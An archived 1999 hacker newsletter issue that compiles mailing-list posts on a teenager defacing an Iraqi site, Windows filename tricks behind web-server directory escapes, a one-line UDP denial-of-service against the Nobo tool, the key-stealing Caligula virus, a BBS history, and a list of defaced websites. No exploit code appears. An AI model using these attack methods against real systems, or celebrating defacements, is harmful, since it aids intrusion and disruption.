31 Jan 1999 223603 -0000 Received (from majordomo@localhost) by merde.dis.org (8.8.7/8.6.11) id MAA23918 for dc-stuff-outgoing; Sun, 31 Jan 1999 123424 -0800 (PST) Message-ID <36B4BE1D.F0923332@datashopper.dk> Date Sun, 31 Jan 1999 213333 +0100 From Bo Elkjaer <boo@Datashopper.Dk> X-Mailer Mozilla 4.05 [en] (Win95; U) MIME-Version 1.0 To dc-stuff@dis.org Subject Israeli schoolboy destroys Iraqi internet site Content-Type text/plain; charset=iso-8859-1 Content-Transfer-Encoding 8bit Sender owner-dc-stuff@dis.org Precedence bulk X-forward-loop dc-stuff Reply-To Bo Elkjaer <boo@Datashopper.Dk> X-Comment TO UNSUBSCRIBE email "unsubscribe dc-stuff" to majordomo@dis.org X-Comment Lonely? Need a friend and lover? email jeffy@defcon.org X-Comment tired of typing? call the Defcon Voice Bridge 801-855-3326 X-Copyright This message is Copyright all rights reserved unless expressly limited X-No-Archive yes Restrict no-external-archive Israeli schoolboy destroys Iraqi internet site TEL AVIV, Jan 31 (AFP) - A 14-year-old Israeli computer nut has penetrated and destroyed an Iraqi government site on the internet, the daily Yediot Aharonot reported Sunday. "I read about the site in a computer magazine, and it bugged me," Nir Zigdon told the paper. "I thought that if Israel is afraid to eliminate (Iraqi President) Saddam Hussein, I could at least destroy his computer sites." He said he got into the site by persuading its manager that he was a young Palestinianwho had developed a programme for wiping Israeli sites. "It convinced them, and then I was able to destroy it," he said. The next day Zigdon received a "furious" email signed by the site manager, which he printed out and pinned proudly to his wall. Zigdon has been computer crazy since he was four, helped by his father, a teacher and consultant for a high-tech company. http//www.yahoo.com.sg/headlines/310199/technology/917782320-90131123253.technology.html Boo -- ULOVLIG KRYPTO-EKSPORT Pè BLOT TRE LINIER #!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj $/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1 lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/) -=- Subject: intel to ID chips Date: Wed, 20 Jan 1999 13:29:38 -0700 From: sholden@omnipoint.com To: dc-stuff@dis.org http://www.zdnet.com/zdnn/stories/news/0,4586,2189721,00.html [..] the plan calls for Intel to put a machine-specific ID and a random number generator in every processor, said sources familiar with the plans. The random number generator will aid e-commerce by allowing PCs to encrypt data more securely while the ID numbers will allow merchants to verify a user's identity and prevent stolen PCs from getting on the Internet. [..] --- Any personal opinions expressed herein do not necessarily represent those of Omnipoint Technologies, Inc.* -=- Subject: Re: Cellular Fraud Date: Wed, 20 Jan 1999 13:22:41 -0600 (CST) From: maas <masong@post.cis.smu.edu> To: "Jay D. Dyson" <jdyson@techreports.jpl.nasa.gov> CC: Defcon Stuff <dc-stuff@dis.org> On Tue, 19 Jan 1999, Jay D. Dyson wrote: > Fraud divisions of phone companies aren't very hip to finding > vulnerabilities in their own systems. I learned that one the hard way > after my phones were shut off by parties unauthorized. And when I > initiated an investigation into that incident, I learned that the entire > incident of my phones being shut off was wiped out of my phone company's > logs. Pretty fair indication that their security was nonexistent, but it > raised no alarm with the people at the helm of the fraud department. They > "knew" their system was "secure," so who the heck was I to claim otherwise? > At that point, I knew I'd be better off just pounding sand. I have a feeling cost plays a role in this. The cost to hunt down a couple punk kids who know how to tumble neumber will far outweigh what it costs them to just forget about it. The same kind of thing tends to happen when you tell people that thier box has been hacked and is being used to spam the shit out of you. At the most, they will re-install the OS and that is that. When they get hacked again next week they will do it all over again, becuase taking the time to go and find the peopel responsible is just too dificult and costly for them. -=- Subject: Re: Cellular Fraud Date: Wed, 20 Jan 1999 11:30:48 -0800 (PST) From: "Jay D. Dyson" <jdyson@techreports.jpl.nasa.gov> Organization: NASA Jet Propulsion Laboratory To: Defcon Stuff <dc-stuff@dis.org> -----BEGIN PGP SIGNED MESSAGE----- On Wed, 20 Jan 1999, maas wrote: > > Pretty fair indication that their security was nonexistent, but it > > raised no alarm with the people at the helm of the fraud department. They > > "knew" their system was "secure," so who the heck was I to claim otherwise? > > At that point, I knew I'd be better off just pounding sand. > > I have a feeling cost plays a role in this. The cost to hunt down a > couple punk kids who know how to tumble neumber will far outweigh what > it costs them to just forget about it. I would tend to agree with your assessment. I forget who said it first, but one truly has to be a little insane to seek justice. The example used was a stolen briefcase worth $50. One would have to shell out at least $1500 in court costs and lawyer fees just to get some justice out of the whole mess, so most folks would logically just write off the loss. I guess you could say that the number of laws of a nation is directly inverse to the amount of justice the average person gets. - -Jay ( ______ )) .-- "There's always time for a good cup of coffee." --. >===<--. C|~~| (>-- Jay D. Dyson -- jdyson@techreports.jpl.nasa.gov --<) | = |-' `--' `-- As a matter of fact, I *am* a rocket scientist. --' `-----' -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNqYu6rl5qZylQQm1AQGqdgP+IliF9WbpY2I/yi8Sx3faectAbpyLSlXG kQ+Kl6JFgI6bQzy34JfU9u4r1P173Yko4HbwwL8Hqu6uZAKnX/Lwn/0XyBpB16ja KC6C9WrE2/CHaQURK/tirFemjOyUprtbFGWv+11Lf00B9rK8z2lBfPv05UAAGwHM TPzBe17WEgQ= =iw2/ -----END PGP SIGNATURE----- -=- more www exploits: Subject: Two bugs and suggestion for IPX stack Date: Wed, 20 Jan 1999 19:17:18 +0600 (ALMT) From: Boris Popov <bp@butya.kz> To: freebsd-hackers@FreeBSD.ORG Hello, for about a two months ago I make few changes in IPX stack related to broadcast bug, internal net support and little bug in SPX implementation. As they work stable I suggest them to discuss and commit in to source tree. Here is a short explanation: Broadcasts: local host never get broadcast packet originated by itself. Novell implementation do that, and this simplify programming. Internal net: it is possible to implement internal net conception like used in Netware servers by configure loopback interface as follows: ifconfig lo0 ipx 0x5a5a.1 After that, server programs like mars_nwe , can use only network 0x5a5a and host 1. Of course this requires small changes to ipx stack and IPXrouted. SPX bug are just invalid order of operators :) All patches are simple and attached at the end of letter. BTW, I mostly finish work on Netware client (typical throughput about 730Kb/s on 10Mbit network). Higher rates is possible with packet burst mode, so does any body know the details ? -- Boris Popov diff1 Name: diff1 Type: Plain Text (TEXT/PLAIN) Encoding: BASE64 diff2 Name: diff2 Type: Plain Text (TEXT/PLAIN) Encoding: BASE64 Subject: Re: Bug in IIS and PWS but only for Windows 9x. Re: Personal web server Date: Wed, 20 Jan 1999 10:01:19 -0800 From: Marc Slemko <marcs@ZNEP.COM> To: BUGTRAQ@netspace.org On Wed, 20 Jan 1999, Victor Lavrenko wrote: > >>>>> "Aleph" == Aleph One <aleph1@UNDERGROUND.ORG> writes: > > Hello everybody. > > This bug exists because Windows 9x has a nice feature. When you > excecute "cd .." it goes to the parent directory, and "cd ..." goes to > the parent directory of parent directory etc. Windows NT has no such > feature so it isn't exploitable. Yup. I haven't looked into the issue with these particular servers, but Apache on Win32 used to be impacted by this same issue until it was fixed in 1.3.1. I think we have run into a half dozen different special case situations in Apache where "magic" filenames needed to be dealt with specially under 95 and/or NT to avoid security holes. You have to deal with: - case sensitivity - short filenames - trailing "."s on filenames - three or more "."s - special filenames (eg. "aux") Those are all the "multiple names for one file" or "magic file name" issues I can think of right now; I am sure there are more that I can't think of and that I don't know about. At various times, various Win32 web servers have been vulnerable to the above issues. Unfortunately, trying to find a canonical list of the ways that filename variance can occur in Windows is difficult, and it is obvious that Microsoft doesn't have it down either, based on the fact that many of these bugs have appeared in IIS in the past as well. These issues also can appear differently depending on if you are using 95/98/NT3.5/NT4 and depending on what filesystem you are using, so testing for them isn't as simple as you would hope. It really makes me wish for a nice young system, one that didn't have time to get all this accumulated cruft. Oh. Wait. Unix is a crufty old system and even it doesn't have this particular cruft. In this particular area, Windows gets a heck of a lot of thumbs down. -=- Subject: [NTSEC] Physical Port Security on a hub or switch... Date: Mon, 18 Jan 1999 13:07:08 -0600 From: Eric Fors <ewfors@coxnet.org> To: <ntsecurity@iss.net> TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net Contact ntsecurity-owner@iss.net for help with any problems! --------------------------------------------------------------------------- I've been asked by our t-com and infrastructure guys to post a question as to the value of physical port restrictions being placed on their hubs and switches. We are currently using these features in some places on our LAN, but they often get in the way. Here's how it works if you're per chance not familiar. As each new machine comes on line the hub or switch 'learns' the MAC address of that machine and then sets a variable to allow no other MAC address to speak to that physical port. The hubs and switches come with an administration application that allows you to reset / disable / or enable any particular port one at a time or all the ports at once on a particular device. The idea is to keep anyone from 'stealing' a port on the LAN and listening in on what is going on on the wire. (i.e. - help protect physical access to the wire.) Is any body out there using these sort of tools? Where do you use them? Are they worth the trouble to you? etc. etc. ... Thanx, Eric, II -=- Subject: Nobo and Netbuster Dos Date: Wed, 20 Jan 1999 09:46:56 PST From: Wolfgang Gassner <wulfmen@HOTMAIL.COM> To: BUGTRAQ@netspace.org Simply send Big Udp Packets to eg. Port 31337 and Mr. Nobo will see a Big error message at each Packet!!! As Default Nobo only Logs on screen and not into file that means you can erase your Ping!! I tested this on NT and W95 and after some time it will kill with a Overflow. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com 9.0 Off The Hook Off The Air? ~~~~~~~~~~~~~~~~~~~~~~~~~ HNN Http://www.hackernews.com/ February 7th 1999 contributed by Anonymous 'Off the Hook' the hacker radio program broadcast by WBAI 99.5FM in New York, and by real audio over the Internet may soon go silent. Pacifica Radio, the largest and most powerful public radio broadcaster, holds the broadcast licenses of WBAI 99.5FM in New York, as well as other stations across the country. Pacifica Radio, will vote on the weekend of February 26-28 to alter the by-laws of the foundation regarding who, in the future, will select the Pacifica board of governors. This will possibly give itself, for the first time, majority control over its own composition and will give board members the total, permanent control of Pacifica and its 300 million dollars worth of assets. This action as well as recent movements by Pacifica to take the organization private has lead some to believe that 'Off the Hook' may be in jeopardy of of being thrown off the air. (The previous information originally posted to the freepacifica list and the Free Kevin list and sent to HNN Anonymously) Pacifica Radio - http://www.pacifica.org/ radio4all - More information and a petition to sign - http://www.radio4all.org/freepacifica * * An error exists on the original HNN page that prevents the link from working the one above is the correct link. @HWA 10.0 The Caligula Virus ~~~~~~~~~~~~~~~~~~ HNN/Wired/Etc contributed to HNN by Bi0wast3 http://www.hackernews.com/archive.html?020599.html Opic, a member of The CodeBreakers has written a new MS Word macro virus known as Caligula that specifically targets PGP private keys. Once you have been infected the viruses looks for your private key ring and uploads it to a Codebreakers FTP site. NAI, the owners of PGP claim that this in no way weakens the security of PGP. (So who do you believe? The good guys or the bad guys? Which is which?) http://www.internetnews.com/prod-news/article/0,1087,9_64191,00.html http://www.codebreakers.org/ http://www.nai.com/ Experts play down Caligula virus PGP-key snatching virus sounds dangerous -- but it's easily handled, experts say. ZDNET: http://www.zdnet.com/zdnn/stories/news/0,4586,2202965,00.html 11.0 Unphamiliar Territory ~~~~~~~~~~~~~~~~~~~~~ http://toaster.sun4c.net/upt/ If you have the history of a pir8 or underground bbs that you would like to share here, please direct us to the info or mail it in and we'll include it in an upcoming issue of HWA.hax0r.news for others to enjoy. - Ed $Id: index.html,v 1.2 1999/02/02 06:08:21 root Exp $ UPT, 10 years of hacker culture Unphamiliar Territory, often referred to as UPT or UPT.ORG, was one of the longest running *underground* computer bulletin boards of all time. Like all good things, it had to end sometime. Because of the influence that it had on the computer underground during the time it was up, we are working on a new project to show the new generation of hackers, security professionals and interested geeks just what we were. HISTORY OF UPT Cut to 1988. A geeky kid named Tom Jackiewicz was sitting in front of his computer, an old 8088 clone. To get the most performance out of this box, he spent hours upon hours trying to modify his CONFIG.SYS file under DOS 3.3 to fully take advantage of this computing power. Sure, it wasn't the greatest box in the world, but it effectively let him run King's Quest II. I don't know exactly how it happened, but this kid, going by the nick of Invalid Media, or iNVALiD MEDiA to be more accurate, decided that running a bulletin board would be a cool experience. Up springs Phortress Systems IV, a bulletin board running part time at 1200 baud off of his parent's phone line. The software? I can't really remember that far back but I know we tried PC Board v10 (the only version I could find that was available in the public domain), Spitfire, WWIV 4.12 (probably the most popular package back then), Telegard, TAG, LSD, Celerity, and a few others I'm sure I don't remember. I guess this was back in the day when you used to be able to login to the THG or INC bbses and they would have the latest cool BBS software cracked under 30: 0-day BBS software d00d . I would be the guy using up the phone lines for hours at a time downloading the software at 1200 baud. For the first few years, Phortress Systems IV was a fun little active BBS. We eventually settled on using WWIV as our BBS software of choice. I mean, with all the kids creating cool mods for it in C and making them available on their BBSes, it was definetely cool. Luther, the sysop of The Phortress, gave us a call one night and told us that we would have to change the name. A shitty little system like PSIV would *not* be associated with a great BBS like The Phortress. So Unphamiliar Territory was quickly pulled out of my ass and the abbreviations of UNPHAM and UPT were quickly born. I never heard much else about 'The great Phortress System' that we weren't cool enough to be mistaken for. So here we are. Running a BBS off of a 21.4mb hard drive and a 1200 baud Prometheus modem. Our userbase? Names you might have heard of would be Mind Rape from the National Security Anarchists, Quinton J. Miranda from Phortune 500, and a few other random people who were interested in taking a look at 602's hacker scene (or lack of a hacker scene). Posts in the telco section usually resulted in someone looking up the acronym in question and throwing the definition into the next post. Or people bragging about all the things they broke into by logging in as 'root', discussions on what k0d3z could be used to dial up the other BBSes around at that time. But hey, it was a start. Around 1991 was when the BBS really became active. By this time we had settled on using a BBS software called 'Paragon' with built-in QWK support. The Attitude Adjuster was very happy about this because he could dial in, download all our messages, respond to EVERY SINGLE ONE OF THEM offline, call up 2 days later and post them all. It was common for his QWK packets to be upwards of 250 messages. Quite scary, but hey, it created a lot of activty. Oh. I guess we were NuKE site around this time. I'm sure we were 'distro' sites for other places as well, but NuKE was always a big deal. The Canadian virus group was quite popular for many years to come and it was a sign that our BBS was one of the top 50 or so that they came across. With the normal life-span of a BBS being 6 to 9 months, we were considered old after being up for more than 2 years. I guess by this time we represented the National Security Anarchists. An elite group of 602 hackers consisting of Mind Rape, Mercury, The Dark Druid, Angel of Death, myself, and a few others. Crusader was NSA's official transportation as we were all either too young or too broke to have our own. This worked out nicely except for the fact that Crusader ended up keeping all the things we found trashing in the back of his house -- and we never saw them again. Oh well. The rewards of having a car and driving around a bunch of kids. Ties with NuKE were broken and we joined Phalcon/Skism. Unnamed members of Phalcon/Skism called us up on the phone one day and said "Dude, your board fucking rocks. You *need* to ditch NuKE and join us". So we did. By this time we had gained a very good reputation with the computer underground. Mercury was highly regarded as a great source of information and was always online posting new security tips, random tools he found on the internet, and very well thought out responses to everyone's questions. A lot of other people such as Attitude Adjuster, Accidental Tourist, Quinton J. Miranda, Mind Rape, cllisk8r, Toxic Phreak, Night Ranger (of the old VMB scene), a handful of Phalcon/Skism, NuKE and other virus group members, kept on posting as well. Jeager from Missouri was always on UPT and all over the X.25 networks finding out so many cool places to run around and establishing new chat systems. Random people from Lutzifer and QSD, places we all frequented, showed their faces on UPT. We were seen as of somewhat of a rock at that point in time. We weren't the best board out there but we were quickly making it up there with the ranks of Pentavia, Phalcon/Skism's LANDFILL, Midian, West Coast Technology and maybe a small group of others. We had a great userbase and a sysop who "ate, slept and drank UPT".. who was always on the lookout for new users to add to the system and new topics he could being up in the message bases. Every morning I would wake up to new threads on every topic imaginable and a score of people overseas posting the latest codes at 5:31am my time. Thinngs were going great. 1992 was a strange year that really put UPT over the edge. MICROWIRE had died. MICROWIRE was the NUI that everyone used to hop to everyone's favorite chat sites Lutzifer and QSD. What were people to do? Where were they going to go? They came here. So not only was the entire VMB and phreak scene fully represented on UPT, but so were all those who used MICROWIRE and never figured out a way to get on without it. This would be the year that UPT would be considered one of the best hacker BBSes of all time. Who knows what year it was, but Paragon development stopped and I lost contact with everyone working on it. As time went on and we needed more features added, we were just out of luck. We tried running Celerity for a while but it just didn't work out too well. We ended up going to Waffle. Then Waffle under SLS Linux. The only other time UPT was running unix was when Garbled User tried converting us to NetBSD back during the summer of 1992. That was a pain in the ass, topped off by MADMAN doing !sh at the [more] prompt of the BBS software we attempted to run and dropping to a root shell. Cut in to 1994. invalid and merc are working for days straight converting a 486/33 with 16 megabytes of RAM and a 209mb hard drive to SLS Linux. After multiple mistakes and errors in our lilo configurations. The kernel. Oh, yeah, 0.97. You know, the kernel where "The IRQ code has solidified, and should work on all machines. Not all of the SCSI drivers use it yet, so I expect patches for that". The same kernel where "include-files have been moved around some more: there are still some names that clash with the standard headers, but not many". Yeah, this is the same Linux that every kid in the world is now running and convincing their companies is the most stable piece of code in the world. Oh yeah, and this is the kernel where "while (1) fork();" won't kill the machine for non-root users". *sigh*. We eventually stabilized on kernel 1.1.59 -- finally getting past the 0 beta kernels. We were quite happy. A new era for UPT had started. During the unix upgrade we converted all the old message bases and userbase to Waffle. After probably 3 straight days of configuring the machine, 'iceman' logged onto our boxes and spent what seemed like eternity online trying to break root on our machines. He succeeded, being the first person to ever break root on our boxes. He used 'sendmail'. We were quite annoyed that we didn't take the time to secure but happy that 'iceman' was cool enough to let us know where our security holes were. I guess this is around the time that we started sitting at Denny's 24 hours a day going over ways we could make UPT more secure and unique. We came up with many ideas which we implemented and many that ended up making it into current issues of Phrack (years after we implemented them on UPT). Our brainstorming sessions come up with some of the following ideas: .hushutmp/.hushwtmp files could be created in your home directory to hide you from utmp/wtmp. this way, you could connect from sites that would identify you (i.e. your work) without the fear the other UPT users could gain knowledge of your identity. trusted path execution. this has been discussed many times since we first implemented it so i'm sure you've read about it somewhere. the idea is that the directory needs to be owned by root and have certain permissions (i.e. not group writable) or else you can't execute files out of that directory. for example, you can't execute files you compile on our system our of your home directory. socks group. you had to be in the group 'socks' in order to open up a socket on our system. To be finished later.. THE SYSOPS Tom Jackiewicz, aka Invalid Media, invalid. invalid founded UPT and helped make it the board that it ended up being. He is currently working as a consultant in Silicon Valley in the field of system scalability (specifically related to LDAP and SMTP). Mercury or merc of the National Security Anarchists. merc no longer exists. However, for the years he was on the system, he was always a great source of knowledge and did most of the programming related to running the BBS. Mind Rape of the National Security Anarchists. While not one of the official sysops, he was a mentor to those who knew him. He's still crazy. Warlock Bones or wbones. When the system was moved from invalid's house, he took over. This was sometime in 1992. It stayed at his house for quite some time running on a Dual Standard modem (a nice step up) and a fast 386 machine. Garbled User or garbled of Freakers Bureau Incorporated. Upon moving to Phoenix, he made UPT the head BBS of FBI. All of the articles for FBI were published there. The system was actually at his house for the summer of 1993 (if I remember correctly). Many people have also helped over the years in keeping the system up and donating new hardware. Professor Falken from the old LOD gave us our first high speed modem (ZOOM v32), Pluvius from BoW gave us our first router (an old NTI). Many people have donated time, energy, programming talent, and insane amounts of alcohol that kept us alive for more than a decade. THE GROUPS We've been associated with many groups over the past few years. Starting out with the 504 crowd and NCC/GCA with Dr. C, Ratfink, and various others. Then on to being the head board for the National Security Anarchists with Mercury, Mind Rape, The Dark Druid, Angel of Death, and many others. NuKE with Rock Steady and the other canucks. The most influential at the time was Phalcon/Skism with GarbageHeap, Orion Rogue, HellRaiser, CRoWMeiSTeR and others. The text file groups all wanted us to be distribution sites for them. Digital Free Press, uXu, Freedom, and many others. And not to forget the most fun product of UPT -- Cult of the Dead Cat, along with The Attitude Adjuster (under a handful of nicks) and Mahatma Mcaf33 (me!). The group was initially started as an anti-cDc group because Drunkfux complained that we had the dead cow logo upon logging in. So instantly we changed the logo to a dead cat and insulted everyone within our publications. Check out some of the CdC archives on eff.org. *sigh*. Those were the days. MESSAGE ARCHIVES The message archives have actually been converted. Message bases date as far back as 02/1992. More are still on tape and need to be restored. We are working on the process right now. In the days of Warez BBSes going HST only, The Humble Guys, Phun Line out of Sacramento, and West Coast Technologies, BBSes were king. And the BBS sysops were masters of all information. UPT was glad to be a part of that era of hacker culture. While messages won't be as interesting now as they were back then, its still nice to look back at some of the old posts that we had on the box. And its fun to look at your coworker in the next office over and say, "You posted THAT?". You know who you are. On to the message bases! -> http://toaster.sun4c.net/upt/forum.html @HWA H.W Hacked Web Sites ~~~~~~~~~~~~~~~~~ I'm seriously wondering if it is any longer a good idea to put hacked web sites into the spotlight at all. It just encourages a stupid activity. Like using the word "fuck" to the point that it no longer has any meaning, but for now here is a list of *some* of the recently hacked websites for February. Cracked Sites (taken directly from HNN's rumours sections) hnn: http://www.hackernews.com/ We received reports that the following people cracked the following web sites. Many of the sites where restored by the time we looked at them. |ndig00, f0bic, jay, opt1mus_pr1me, mindphasr, HcV, Decendents of Hell, RETRiBUTiON, Elite Force Hackers, |ViRuSeD|, [^X^CliEnT^], and LoRd OaK http://www.prolinkservices.com http://www.it4.net http://www.it4.com http://www.socialsource.com http://www.socialsource.net http://www.worldcast.com http://abl.afsc.noaa.gov http://www.foxlink.net http://www.ustr.net http://www.purehosting.com http://www.isabi.net Feb 1st http://www.mmc.co.jp http://www.isd.net http://www.nolimitrecords.com Feb 2nd http://www.mgmt.purdue.edu/ http://www.ocf.berkeley.edu/ http://www.ky.gov.se http://www.sb.gov.se http://www.pension.gov.se http://www.concourt.sk http://fdc.wh.cei.gov.cn/ http://www.caradon.gov.uk http://linux.networksonline.com Feb 3rd contributed by Anonymous http://www.mgmt.purdue.edu/ - Second time this week http://www.sonic.net/~tron/host1.html http://host1.supply-unet.ocn.ne.jp Feb 2nd contributed by Mad Diablo Navy Cracked Members of the cracking group Pantaguard have been busy. Claiming that there has been to much focus on NASA systems recently they went after the Navy. http://www.hackernews.com/archive/navy99/navy99.html @HWA A.0 APPENDICES ~~~~~~~~~~ A.1 PHACVW, sekurity, security, cyberwar links ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The links are no longer maintained in this file, there is now a links section on the http://welcome.to/HWA.hax0r.news/ url so check there for current links etc. The hack FAQ (The #hack/alt.2600 faq) http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html Hacker's Jargon File (The quote file) http://www.lysator.liu.se/hackdict/split2/main_index.html International links:(TBC) ~~~~~~~~~~~~~~~~~~~~~~~~~ Netherlands...: http://security.pine.nl/ Russia........: http://www.tsu.ru/~eugene/ Indonesia.....: http://www.k-elektronik.org/index2.html http://members.xoom.com/neblonica/ Brasil........: http://www.psynet.net/ka0z http://www.elementais.cjb.net Got a link for this section? email it to hwa@press.usmc.net and i'll review it and post it here if it merits it. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF-- (c) Cruciphux/HWA.hax0r.news (r) Cruciphux is a trade mark of Harpies With Ailments corp. --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF-- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ] [45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]
